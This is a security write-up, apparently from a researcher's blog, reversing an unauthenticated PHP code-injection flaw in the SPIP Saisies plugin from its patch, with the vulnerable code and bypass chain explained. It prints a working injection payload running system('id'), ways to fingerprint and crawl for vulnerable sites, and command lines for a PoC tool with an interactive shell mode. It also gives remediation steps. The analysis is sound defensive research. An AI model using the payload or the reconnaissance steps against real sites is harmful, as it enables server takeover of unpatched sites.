CVE-2025-71243: AI-Assisted Reversal of SPIP Saisies RCE in 30 Minutes
Table of Contents
TL;DR
Unauthenticated Remote Code Execution in the SPIP Saisies plugin (v5.4.0 - v5.11.0) via PHP code injection through the _anciennes_valeurs form parameter. User input is interpolated directly into a PHP template rendered with interdire_scripts=false, allowing <?php ?> tags to execute server-side.
This follows the exact same exploitation pattern as CVE-2023-27372 - unsanitized form parameter injection into SPIP’s template engine, two years later.
| Field | Value |
|---|---|
| CVE | CVE-2025-71243 |
| Severity | Critical (CVSS 9.3) |
| CWE | CWE-94 - Code Injection |
| Affected | Saisies plugin 5.4.0 - 5.11.0 |
| Fixed in | 5.11.1 |
| Prerequisite | Public form powered by Saisies (typically via Formidable) |
Introduction
On February 19, 2026, VulnCheck published an advisory for a critical RCE in SPIP’s Saisies plugin. No technical details. No PoC. Just a CVE ID, an affected version range, and a link to SPIP’s blog post crediting OpenStudio for the discovery.
30 minutes later, I had a fully working exploit.
The entire process - understanding the vulnerability, identifying the root cause, building a Docker lab, writing and testing the PoC - was done with AI tooling. Zero prior knowledge of the vulnerability. This post walks through the reversal process, the full exploitation chain, and a real-world impact assessment.
The Reversal Process
Starting Point: The Advisory
The VulnCheck advisory gave me three useful data points:
- Plugin: Saisies (“form inputs”) for SPIP
- Affected versions: 5.4.0 through 5.11.0
- Fixed version: 5.11.1
The SPIP blog post added one more: the fix was in commit 1b1b578.
Reading the Patch
I downloaded the vulnerable version (5.11.0) and the fixed version, then diffed them. The fix was surgical - in saisies_pipelines.php, the function saisies_formulaire_charger_generer_hidden_ancienne_valeur_depubliee() had an if branch removed entirely.
The vulnerable code:
// saisies_pipelines.php
function saisies_formulaire_charger_generer_hidden_ancienne_valeur_depubliee($flux) {
if ($anciennes_valeurs = saisies_request('_anciennes_valeurs')) {
$encode = $anciennes_valeurs; // User input trusted directly
} else {
$encode = encoder_contexte_ajax($anciennes_valeurs, $form);
}
return "<input type='hidden' name='_anciennes_valeurs' value='$encode' />";
}
When a user submits _anciennes_valeurs in a request, the raw value goes straight into $encode. No sanitization, no escaping. The else branch uses encoder_contexte_ajax(), which serializes data and signs it with HMAC-SHA256 using the site’s secret key - but that branch is completely bypassed when the parameter is user-supplied.
The fix removes the if branch entirely. The value is always recomputed server-side.
Deep Dive: The Full Exploitation Chain
At first glance, injecting into value='$encode' looks like reflected XSS - break out of the attribute with a single quote, inject HTML. But SPIP’s architecture turns this into something far more dangerous. There are three layers that combine to create RCE.
Layer 1: The _hidden Pipeline Bypass
The output of the vulnerable function is appended to $flux['data']['_hidden'] in the formulaire_charger pipeline:
// saisies_pipelines.php - saisies_formulaire_charger()
$flux['data']['_hidden'] .= saisies_formulaire_charger_generer_hidden_ancienne_valeur_depubliee($flux);
This matters because of how SPIP’s form loading code handles fields. In ecrire/balise/formulaire_.php, the charger phase processes all form values:
// ecrire/balise/formulaire_.php line 236
if ($champ[0] !== '_' and !in_array($champ, ['message_ok', 'message_erreur', 'editable'])) {
// ...
$valeurs[$champ] = protege_champ($valeurs[$champ]);
}
The condition $champ[0] !== '_' means that any field starting with an underscore skips protege_champ() entirely. The protege_champ() function is SPIP’s defense against injection in form values - it calls spip_htmlspecialchars() to escape <, >, ', ", and &:
function protege_champ($valeur, $max_prof = 128) {
// ...
if (is_string($valeur) and $valeur) {
if (strpbrk($valeur, "&\"'<>") !== false) {
return spip_htmlspecialchars($valeur, ENT_QUOTES);
}
}
return $valeur;
}
So _hidden (and _anciennes_valeurs) are treated as “internal” fields that don’t need sanitization. This is the first bypass - our injected content preserves its raw < and > characters.
Layer 2: interdire_scripts = false
The _hidden field is rendered by SPIP’s #ACTION_FORMULAIRE balise in ecrire/public/balises.php:
function balise_ACTION_FORMULAIRE($p) {
// ...
$p->code = "'<span class=\"form-hidden\">' .
form_hidden(\$_url) .
'<input name=\'formulaire_action\' type=\'hidden\'
value=\'' . \$_form . '\'>' .
'<input name=\'formulaire_action_args\' type=\'hidden\'
value=\'' . (\$Pile[0]['formulaire_args'] ?? '') . '\'>' .
'<input name=\'formulaire_action_sign\' type=\'hidden\'
value=\'' . (\$Pile[0]['formulaire_sign'] ?? '') . '\'>' .
(\$Pile[0]['_hidden'] ?? '') .
'</span>'";
$p->interdire_scripts = false; // <-- THE KEY
return $p;
}
$Pile[0]['_hidden'] is concatenated directly into the compiled template code. And interdire_scripts is set to false.
SPIP normally runs interdire_scripts() on all template output. This function is defined in ecrire/inc/texte.php and does exactly what you’d expect:
function interdire_scripts($arg, $mode_filtre = null) {
// ...
// echapper les tags asp/php
$t = str_replace('<' . '%', '<%', $arg);
// echapper le php
$t = str_replace('<' . '?', '<?', $t);
// echapper le < script language=php >
$t = preg_replace(',<(script\b[^>]+\blanguage\b[^\w>]+php\b),UimsS', '<\1', $t);
// ...
}
It replaces <? with <?, effectively neutralizing any PHP tag injection. But when $p->interdire_scripts = false, this function is never called. The raw output goes straight through.
This isn’t a bug in isolation - _hidden is meant to contain trusted HTML generated server-side (hidden inputs for CSRF tokens, form actions, etc.). The assumption is that nothing user-controlled ever reaches _hidden. The Saisies plugin breaks that assumption.
Layer 3: Template Compilation via eval()
SPIP templates (called “squelettes”) are compiled into PHP code and executed via eval(). When the template engine encounters #ACTION_FORMULAIRE, it generates PHP code that includes the _hidden content. Since interdire_scripts is disabled, any <?php ?> tags in _hidden survive compilation and are executed by the PHP interpreter during template rendering.
The chain:
- User sends
_anciennes_valeurs=x' /><?php system('id'); ?><input value='x - Saisies plugin puts it raw into
_hidden(noprotege_champbecause_prefix) #ACTION_FORMULAIREoutputs_hiddenwithinterdire_scripts=false(no PHP tag stripping)- SPIP’s template engine
eval()s the compiled template - PHP executes
system('id')
The Injection Point
Breaking out of the single-quoted value attribute:
_anciennes_valeurs=x' /><?php system('id'); ?><input value='x
The template engine renders:
<input type='hidden' name='_anciennes_valeurs' value='x' />
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<input value='x' />
The injection happens during the charger (loading) phase - no form submission required. A simple POST (or even GET) request with the _anciennes_valeurs parameter is enough. No CSRF token, no session, no authentication.
CVE-2023-27372 Deja Vu
This vulnerability is structurally identical to CVE-2023-27372, which was also an unauthenticated RCE in SPIP through template injection:
| CVE-2023-27372 | CVE-2025-71243 | |
|---|---|---|
| Vector | oubli parameter | _anciennes_valeurs parameter |
| Form | Password reset (core SPIP) | Any saisies-powered form (plugin) |
| Root cause | Unsanitized input in template | Unsanitized input in template |
| Template bypass | interdire_scripts=false | interdire_scripts=false |
| Auth required | No | No |
| CVSS | 9.8 | 9.3 |
Same CMS, same class of vulnerability, same exploitation technique - two years later. The core issue is that SPIP’s template engine has numerous interdire_scripts=false code paths (I counted 17 in balises.php alone) that trust certain data to be safe, and when user input reaches those paths unescaped, you get RCE.
The _ prefix convention for “internal” fields is a dangerous pattern. It creates a false sense of security - developers assume these fields are never user-controlled, but any plugin can pipe user input into them through SPIP’s pipeline system.
Prerequisites and Real-World Impact
Unlike CVE-2023-27372 which targeted SPIP’s built-in password reset form (present on every installation), CVE-2025-71243 requires a specific condition: the target must have a publicly accessible form powered by the Saisies plugin.
The Saisies plugin is rarely used standalone. It’s almost always installed as a dependency of Formidable, the most popular SPIP form builder. Sites using Formidable to create public-facing forms (contact pages, registration forms, surveys) expose the vulnerable code path.
When Does the Pipeline Activate?
The saisies_formulaire_charger pipeline hook only runs when saisies_chercher_formulaire() finds a form that declares its fields via the _saisies convention - specifically, a PHP function named formulaires_{name}_saisies_dist() that returns an array of field definitions. Standard SPIP forms (login, password reset, search) don’t use this convention.
This means the vulnerability is only reachable on pages that render a Saisies-powered form. Most commonly, these are created with the Formidable plugin, which provides a drag-and-drop form builder that generates _saisies definitions automatically.
Attack Surface
This makes the vulnerability unlikely to be widespread - but it does exist in the wild. The Saisies plugin is commonly installed as a dependency without administrators being aware of it. SPIP’s own blog post warns: “Verifiez la presence effective du plugin plutot que de vous fier a votre memoire” (check for the plugin’s actual presence rather than relying on memory).
Plugin detection is straightforward from the outside. SPIP exposes active plugins and their versions through:
- The
Composed-ByHTTP header on any SPIP page (e.g.Composed-By: SPIP 4.2.3 @ www.spip.net + saisies(5.11.0),formidable(5.3.2),...) - The
/local/config.txtfile, which contains the full plugin inventory
This means an attacker can fingerprint a target’s plugin stack with a single GET request before attempting exploitation.
Form discovery is also automatable. SPIP sites expose a sitemap at /spip.php?page=plan that lists all public pages. A BFS crawl from there, checking each page for the _anciennes_valeurs hidden field, reliably identifies exploitable forms.
The Exploit
The full PoC chains all of the above into a single tool:
- Plugin detection via
Composed-Byheader andconfig.txt- identifies if Saisies is installed and checks the version against the vulnerable range (5.4.0 - 5.11.0) - Form discovery via BFS crawl starting from SPIP’s sitemap (
/spip.php?page=plan) - finds pages containing forms with the_anciennes_valeursparameter - Vulnerability confirmation via PHP
echomarker injection - Command execution via
system()with base64 encoding - Interactive shell mode
# Detect plugin, crawl for forms, and check
python3 exploit.py -u http://target --crawl --check
# Execute a command
python3 exploit.py -u http://target --crawl -c "id"
# Interactive shell
python3 exploit.py -u http://target --crawl
Remediation
- Update the Saisies plugin to version 5.11.1 or later
- Check if Saisies is installed - it may have been pulled in as a dependency of Formidable or another plugin without your knowledge
- Audit your
disable_functionsinphp.ini- while it won’t prevent PHP code execution, disablingsystem,exec,passthru,shell_exec, andproc_openlimits the blast radius - Broader concern: SPIP’s template engine has 17+ balises with
interdire_scripts=false. Each one is a potential RCE vector if user input reaches it. Plugin developers should treat the_hiddenfield and other underscore-prefixed fields as security-critical output channels, not internal plumbing
Timeline
- 2024-02-12 - Vulnerable code introduced in commit
4f84141(v5.4.0) - 2026-02-19 - Advisory published on VulnCheck
- 2026-02-19 - PoC developed in ~30 minutes (full AI-assisted reversal, same day)
- 2026-02-19 - PoC published